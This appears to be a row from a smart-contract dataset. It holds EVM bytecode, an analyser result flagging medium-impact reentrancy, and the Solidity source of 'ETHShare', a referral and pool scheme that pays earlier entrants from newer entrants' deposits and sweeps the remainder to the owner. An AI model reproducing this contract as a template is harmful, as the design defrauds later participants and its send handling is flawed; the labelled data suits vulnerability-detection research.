01526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561098357600080fd5b6102c65a03f1151561099457600080fd5b50505060405180519050806109a65750815b91506109bc60018261183b90919063ffffffff16565b905061089e565b8192505050919050565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a2d57600080fd5b6000875114151515610a3e57600080fd5b6000865114151515610a4f57600080fd5b6000855114151515610a6057600080fd5b6000845114151515610a7157600080fd5b85518751148015610a83575084518651145b8015610a90575083518551145b1515610a9b57600080fd5b60019150600090505b8651811015610c7a57600073ffffffffffffffffffffffffffffffffffffffff168782815181101515610ad357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515610b0057600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636c9c59448883815181101515610b4c57fe5b906020019060200201518884815181101515610b6457fe5b906020019060200201518885815181101515610b7c57fe5b906020019060200201518886815181101515610b9457fe5b906020019060200201516000604051602001526040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838152602001828152602001945050505050602060405180830381600087803b1515610c3957600080fd5b6102c65a03f11515610c4a57600080fd5b505050604051805190508015610c5d5750815b9150610c7360018261183b90919063ffffffff16565b9050610aa4565b8192505050949350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ce257600080fd5b610ceb81611859565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d8f57600080fd5b6000875114151515610da057600080fd5b6000865114151515610db157600080fd5b6000855114151515610dc257600080fd5b6000845114151515610dd357600080fd5b85518751148015610de5575084518651145b8015610df2575083518551145b1515610dfd57600080fd5b60019150600090505b8651811015610fdc57600073ffffffffffffffffffffffffffffffffffffffff168782815181101515610e3557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515610e6257600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632dda30a78883815181101515610eae57fe5b906020019060200201518884815181101515610ec657fe5b906020019060200201518885815181101515610ede57fe5b906020019060200201518886815181101515610ef657fe5b906020019060200201516000604051602001526040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838152602001828152602001945050505050602060405180830381600087803b1515610f9b57600080fd5b6102c65a03f11515610fac57600080fd5b505050604051805190508015610fbf5750815b9150610fd560018261183b90919063ffffffff16565b9050610e06565b8192505050949350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561109457600080fd5b60008551141515156110a557600080fd5b60008451141515156110b657600080fd5b835185511415156110c357fe5b60009150600090505b84518110156112e257600073ffffffffffffffffffffffffffffffffffffffff1685828151811015156110fb57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff161415151561112857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16848281518110151561114e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff161415151561117b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c915c7486838151811015156111c757fe5b9060200190602002015186848151811015156111df57fe5b906020019060200201516000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15156112a257600080fd5b6102c65a03f115156112b357600080fd5b50505060405180519050806112c55750815b91506112db60018261183b90919063ffffffff16565b90506110cc565b819250505092915050565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561134d57600080fd5b600084511415151561135e57600080fd5b60009150600090505b83518110156114df57600073ffffffffffffffffffffffffffffffffffffffff16848281518110151561139657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff16141515156113c357600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c8c21594858381518110151561140f57fe5b906020019060200201516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561149f57600080fd5b6102c65a03f115156114b057600080fd5b50505060405180519050806114c25750815b91506114d860018261183b90919063ffffffff16565b9050611367565b8192505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561158057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169e57600080fd5b60008451141515156116af57600080fd5b60019150600090505b835181101561183157600073ffffffffffffffffffffffffffffffffffffffff1684828151811015156116e757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff161415151561171457600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166388ef59fb858381518110151561176057fe5b906020019060200201516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156117f057600080fd5b6102c65a03f1151561180157600080fd5b5050506040518051905080156118145750815b915061182a60018261183b90919063ffffffff16565b90506116b8565b8192505050919050565b600080828401905083811015151561184f57fe5b8091505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118b457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156118f057600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638da5cb5b6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156119bf57600080fd5b6102c65a03f115156119d057600080fd5b50505060405180519050600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820599d3edc1e5a302e5f8bb5cd41300520fb973d213e3e0ac571615d4a39b434ea0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 10,138 |
0xeac834c498240e46d5c8e8e70d2a18bcaa0f2bed | pragma solidity 0.5.11 - 0.6.4;
contract ETHShare {
address public ownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool9currUserID = 0;
uint public pool10currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
uint public pool9activeUserID = 0;
uint public pool10activeUserID = 0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping (address => PoolUserStruct) public pool7users;
mapping (uint => address) public pool7userList;
mapping (address => PoolUserStruct) public pool8users;
mapping (uint => address) public pool8userList;
mapping (address => PoolUserStruct) public pool9users;
mapping (uint => address) public pool9userList;
mapping (address => PoolUserStruct) public pool10users;
mapping (uint => address) public pool10userList;
mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS=0.01 ether;
uint pool1_price=0.1 ether;
uint pool2_price=0.2 ether ;
uint pool3_price=0.5 ether;
uint pool4_price=1 ether;
uint pool5_price=2 ether;
uint pool6_price=5 ether;
uint pool7_price=10 ether ;
uint pool8_price=20 ether;
uint pool9_price=50 ether;
uint pool10_price=100 ether;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
constructor() public {
ownerWallet = msg.sender;
LEVEL_PRICE[1] = 0.005 ether;
LEVEL_PRICE[2] = 0.002 ether;
LEVEL_PRICE[3] = 0.0015 ether;
LEVEL_PRICE[4] = 0.0015 ether;
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: 0,
referredUsers:0
});
users[ownerWallet] = userStruct;
userList[currUserID] = ownerWallet;
PoolUserStruct memory pooluserStruct;
pool1currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool1currUserID,
payment_received:0
});
pool1activeUserID=pool1currUserID;
pool1users[msg.sender] = pooluserStruct;
pool1userList[pool1currUserID]=msg.sender;
pool2currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool2currUserID,
payment_received:0
});
pool2activeUserID=pool2currUserID;
pool2users[msg.sender] = pooluserStruct;
pool2userList[pool2currUserID]=msg.sender;
pool3currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool3currUserID,
payment_received:0
});
pool3activeUserID=pool3currUserID;
pool3users[msg.sender] = pooluserStruct;
pool3userList[pool3currUserID]=msg.sender;
pool4currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool4currUserID,
payment_received:0
});
pool4activeUserID=pool4currUserID;
pool4users[msg.sender] = pooluserStruct;
pool4userList[pool4currUserID]=msg.sender;
pool5currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool5currUserID,
payment_received:0
});
pool5activeUserID=pool5currUserID;
pool5users[msg.sender] = pooluserStruct;
pool5userList[pool5currUserID]=msg.sender;
pool6currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool6currUserID,
payment_received:0
});
pool6activeUserID=pool6currUserID;
pool6users[msg.sender] = pooluserStruct;
pool6userList[pool6currUserID]=msg.sender;
pool7currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool7currUserID,
payment_received:0
});
pool7activeUserID=pool7currUserID;
pool7users[msg.sender] = pooluserStruct;
pool7userList[pool7currUserID]=msg.sender;
pool8currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool8currUserID,
payment_received:0
});
pool8activeUserID=pool8currUserID;
pool8users[msg.sender] = pooluserStruct;
pool8userList[pool8currUserID]=msg.sender;
pool9currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool9currUserID,
payment_received:0
});
pool9activeUserID=pool9currUserID;
pool9users[msg.sender] = pooluserStruct;
pool9userList[pool9currUserID]=msg.sender;
pool10currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool10currUserID,
payment_received:0
});
pool10activeUserID=pool10currUserID;
pool10users[msg.sender] = pooluserStruct;
pool10userList[pool10currUserID]=msg.sender;
}
function regUser(uint _referrerID) public payable {
require(!users[msg.sender].isExist, "User Exists");
require(_referrerID > 0 && _referrerID <= currUserID, 'Incorrect referral ID');
require(msg.value == REGESTRATION_FESS, 'Incorrect Value');
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: _referrerID,
referredUsers:0
});
users[msg.sender] = userStruct;
userList[currUserID]=msg.sender;
users[userList[users[msg.sender].referrerID]].referredUsers=users[userList[users[msg.sender].referrerID]].referredUsers+1;
payReferral(1,msg.sender);
emit regLevelEvent(msg.sender, userList[_referrerID], now);
}
function payReferral(uint _level, address _user) internal {
address referer;
referer = userList[users[_user].referrerID];
bool sent = false;
uint level_price_local=0;
level_price_local=LEVEL_PRICE[_level];
sent = address(uint160(referer)).send(level_price_local);
if (sent) {
emit getMoneyForLevelEvent(referer, msg.sender, _level, now);
if(_level < 4) {
if(users[referer].referrerID >= 1){
payReferral(_level+1,referer);
}
else {
sendBalance();
}
}
}
if(!sent) {
payReferral(_level, referer);
}
}
function buyPool1() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(msg.value == pool1_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool1Currentuser=pool1userList[pool1activeUserID];
pool1currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool1currUserID,
payment_received:0
});
pool1users[msg.sender] = userStruct;
pool1userList[pool1currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool1Currentuser)).send(pool1_price);
if (sent) {
pool1users[pool1Currentuser].payment_received+=1;
if(pool1users[pool1Currentuser].payment_received>=3)
{
pool1activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool1Currentuser, 1, now);
}
emit regPoolEntry(msg.sender, 1, now);
}
function buyPool2() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(msg.value == pool2_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool2Currentuser=pool2userList[pool2activeUserID];
pool2currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool2currUserID,
payment_received:0
});
pool2users[msg.sender] = userStruct;
pool2userList[pool2currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool2Currentuser)).send(pool2_price);
if (sent) {
pool2users[pool2Currentuser].payment_received+=1;
if(pool2users[pool2Currentuser].payment_received>=3)
{
pool2activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool2Currentuser, 2, now);
}
emit regPoolEntry(msg.sender,2, now);
}
function buyPool3() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(msg.value == pool3_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool3Currentuser=pool3userList[pool3activeUserID];
pool3currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool3currUserID,
payment_received:0
});
pool3users[msg.sender] = userStruct;
pool3userList[pool3currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool3Currentuser)).send(pool3_price);
if (sent) {
pool3users[pool3Currentuser].payment_received+=1;
if(pool3users[pool3Currentuser].payment_received>=3)
{
pool3activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool3Currentuser, 3, now);
}
emit regPoolEntry(msg.sender,3, now);
}
function buyPool4() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(msg.value == pool4_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool4Currentuser=pool4userList[pool4activeUserID];
pool4currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool4currUserID,
payment_received:0
});
pool4users[msg.sender] = userStruct;
pool4userList[pool4currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool4Currentuser)).send(pool4_price);
if (sent) {
pool4users[pool4Currentuser].payment_received+=1;
if(pool4users[pool4Currentuser].payment_received>=3)
{
pool4activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool4Currentuser, 4, now);
}
emit regPoolEntry(msg.sender,4, now);
}
function buyPool5() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(msg.value == pool5_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool5Currentuser=pool5userList[pool5activeUserID];
pool5currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool5currUserID,
payment_received:0
});
pool5users[msg.sender] = userStruct;
pool5userList[pool5currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool5Currentuser)).send(pool5_price);
if (sent) {
pool5users[pool5Currentuser].payment_received+=1;
if(pool5users[pool5Currentuser].payment_received>=3)
{
pool5activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool5Currentuser, 5, now);
}
emit regPoolEntry(msg.sender,5, now);
}
function buyPool6() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(msg.value == pool6_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool6Currentuser=pool6userList[pool6activeUserID];
pool6currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool6currUserID,
payment_received:0
});
pool6users[msg.sender] = userStruct;
pool6userList[pool6currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool6Currentuser)).send(pool6_price);
if (sent) {
pool6users[pool6Currentuser].payment_received+=1;
if(pool6users[pool6Currentuser].payment_received>=3)
{
pool6activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool6Currentuser, 6, now);
}
emit regPoolEntry(msg.sender,6, now);
}
function buyPool7() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(msg.value == pool7_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool7Currentuser=pool7userList[pool7activeUserID];
pool7currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool7currUserID,
payment_received:0
});
pool7users[msg.sender] = userStruct;
pool7userList[pool7currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool7Currentuser)).send(pool7_price);
if (sent) {
pool7users[pool7Currentuser].payment_received+=1;
if(pool7users[pool7Currentuser].payment_received>=3)
{
pool7activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool7Currentuser, 7, now);
}
emit regPoolEntry(msg.sender,7, now);
}
function buyPool8() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(msg.value == pool8_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool8Currentuser=pool8userList[pool8activeUserID];
pool8currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool8currUserID,
payment_received:0
});
pool8users[msg.sender] = userStruct;
pool8userList[pool8currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool8Currentuser)).send(pool8_price);
if (sent) {
pool8users[pool8Currentuser].payment_received+=1;
if(pool8users[pool8Currentuser].payment_received>=3)
{
pool8activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool8Currentuser, 8, now);
}
emit regPoolEntry(msg.sender,8, now);
}
function buyPool9() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(msg.value == pool9_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool9Currentuser=pool9userList[pool9activeUserID];
pool9currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool9currUserID,
payment_received:0
});
pool9users[msg.sender] = userStruct;
pool9userList[pool9currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool9Currentuser)).send(pool9_price);
if (sent) {
pool9users[pool9Currentuser].payment_received+=1;
if(pool9users[pool9Currentuser].payment_received>=3)
{
pool9activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool9Currentuser, 9, now);
}
emit regPoolEntry(msg.sender,9, now);
}
function buyPool10() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(msg.value == pool10_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool10Currentuser=pool10userList[pool10activeUserID];
pool10currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool10currUserID,
payment_received:0
});
pool10users[msg.sender] = userStruct;
pool10userList[pool10currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool10Currentuser)).send(pool10_price);
if (sent) {
pool10users[pool10Currentuser].payment_received+=1;
if(pool10users[pool10Currentuser].payment_received>=3)
{
pool10activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool10Currentuser, 10, now);
}
emit regPoolEntry(msg.sender, 10, now);
}
function getEthBalance() public view returns(uint) {
return address(this).balance;
}
function sendBalance() private
{
if (!address(uint160(ownerWallet)).send(getEthBalance()))
{
}
}
} | 0x6080604052600436106103815760003560e01c8063805b4954116101d1578063a565a5b611610102578063db7242bd116100a0578063e592ac561161006f578063e592ac561461126e578063e687ecac14611299578063ed3bb9fa14611310578063eecbdd941461131a57610381565b8063db7242bd14611143578063dd5d3e30146111be578063dea9095a14611239578063e35fc7e21461126457610381565b8063bdbefbf6116100dc578063bdbefbf614611068578063c3285de614611093578063c5d8444d1461109d578063c6d79e9d146110c857610381565b8063a565a5b614610fd6578063a87430ba14610fe0578063ae01d2641461105e57610381565b80639335dcb71161016f5780639f01c016116101495780639f01c01614610e8e5780639f4216e814610eb95780639f9a2b0e14610f34578063a4bb170d14610fab57610381565b80639335dcb714610de15780639561302a14610e38578063956c9ebf14610e6357610381565b806384d82db8116101ab57806384d82db814610ce6578063851f31c614610d11578063878b255d14610d885780638853b53e14610db357610381565b8063805b495414610b8c57806381d12c5814610c0757806384abfa3714610c6f57610381565b806350264b55116102b65780636e2fb91d1161025457806379378e301161022357806379378e3014610a205780637ff135cd14610a6f5780637ff5c45014610aea57806380085ec414610b1557610381565b80636e2fb91d146108fd57806370047eeb1461097457806370ed0ada1461097e57806378dffea7146109a957610381565b806360fbf1221161029057806360fbf122146108265780636254a0ef1461089d578063673f554b146108a7578063699ad07e146108d257610381565b806350264b55146107555780635761a7ae146107d05780635a1cb2cd146107fb57610381565b806338f2f446116103235780634147cde8116102fd5780634147cde81461067a578063435ea130146106a5578063460c3c0714610720578063461aa4781461074b57610381565b806338f2f446146105ce57806338fc99bd146106455780633bddc9511461064f57610381565b806309fd01ba1161035f57806309fd01ba146104325780630c851e3c146104ad578063282e06761461052857806336509f77146105a357610381565b806301073bf514610386578063080f775f1461039057806309ea330a146103bb575b600080fd5b61038e611345565b005b34801561039c57600080fd5b506103a561177c565b6040518082815260200191505060405180910390f35b3480156103c757600080fd5b5061040a600480360360208110156103de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611782565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b34801561043e57600080fd5b5061046b6004803603602081101561045557600080fd5b81019080803590602001909291905050506117b8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104b957600080fd5b506104e6600480360360208110156104d057600080fd5b81019080803590602001909291905050506117eb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053457600080fd5b506105616004803603602081101561054b57600080fd5b810190808035906020019092919050505061181e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105af57600080fd5b506105b8611851565b6040518082815260200191505060405180910390f35b3480156105da57600080fd5b5061061d600480360360208110156105f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611857565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b61064d61188e565b005b34801561065b57600080fd5b50610664611cc5565b6040518082815260200191505060405180910390f35b34801561068657600080fd5b5061068f611ccb565b6040518082815260200191505060405180910390f35b3480156106b157600080fd5b506106de600480360360208110156106c857600080fd5b8101908080359060200190929190505050611cd1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561072c57600080fd5b50610735611d04565b6040518082815260200191505060405180910390f35b610753611d0a565b005b34801561076157600080fd5b5061078e6004803603602081101561077857600080fd5b8101908080359060200190929190505050612141565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107dc57600080fd5b506107e5612174565b6040518082815260200191505060405180910390f35b34801561080757600080fd5b5061081061217a565b6040518082815260200191505060405180910390f35b34801561083257600080fd5b506108756004803603602081101561084957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612180565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b6108a56121b7565b005b3480156108b357600080fd5b506108bc6125ee565b6040518082815260200191505060405180910390f35b3480156108de57600080fd5b506108e76125f4565b6040518082815260200191505060405180910390f35b34801561090957600080fd5b5061094c6004803603602081101561092057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125fa565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b61097c612631565b005b34801561098a57600080fd5b50610993612a68565b6040518082815260200191505060405180910390f35b3480156109b557600080fd5b506109f8600480360360208110156109cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a70565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610a2c57600080fd5b50610a5960048036036020811015610a4357600080fd5b8101908080359060200190929190505050612aa7565b6040518082815260200191505060405180910390f35b348015610a7b57600080fd5b50610aa860048036036020811015610a9257600080fd5b8101908080359060200190929190505050612abf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610af657600080fd5b50610aff612af2565b6040518082815260200191505060405180910390f35b348015610b2157600080fd5b50610b6460048036036020811015610b3857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612af8565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610b9857600080fd5b50610bc560048036036020811015610baf57600080fd5b8101908080359060200190929190505050612b2f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c1357600080fd5b50610c4060048036036020811015610c2a57600080fd5b8101908080359060200190929190505050612b62565b604051808515151515815260200184815260200183815260200182815260200194505050505060405180910390f35b348015610c7b57600080fd5b50610cbe60048036036020811015610c9257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612bac565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610cf257600080fd5b50610cfb612be3565b6040518082815260200191505060405180910390f35b348015610d1d57600080fd5b50610d6060048036036020811015610d3457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612be9565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610d9457600080fd5b50610d9d612c20565b6040518082815260200191505060405180910390f35b610ddf60048036036020811015610dc957600080fd5b8101908080359060200190929190505050612c26565b005b348015610ded57600080fd5b50610df6613119565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e4457600080fd5b50610e4d61313e565b6040518082815260200191505060405180910390f35b348015610e6f57600080fd5b50610e78613144565b6040518082815260200191505060405180910390f35b348015610e9a57600080fd5b50610ea361314a565b6040518082815260200191505060405180910390f35b348015610ec557600080fd5b50610ef260048036036020811015610edc57600080fd5b8101908080359060200190929190505050613150565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610f4057600080fd5b50610f8360048036036020811015610f5757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613183565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610fb757600080fd5b50610fc06131ba565b6040518082815260200191505060405180910390f35b610fde6131c0565b005b348015610fec57600080fd5b5061102f6004803603602081101561100357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506135f7565b604051808515151515815260200184815260200183815260200182815260200194505050505060405180910390f35b611066613634565b005b34801561107457600080fd5b5061107d613a6b565b6040518082815260200191505060405180910390f35b61109b613a71565b005b3480156110a957600080fd5b506110b2613ea8565b6040518082815260200191505060405180910390f35b3480156110d457600080fd5b50611101600480360360208110156110eb57600080fd5b8101908080359060200190929190505050613eae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561114f57600080fd5b5061117c6004803603602081101561116657600080fd5b8101908080359060200190929190505050613ee1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffff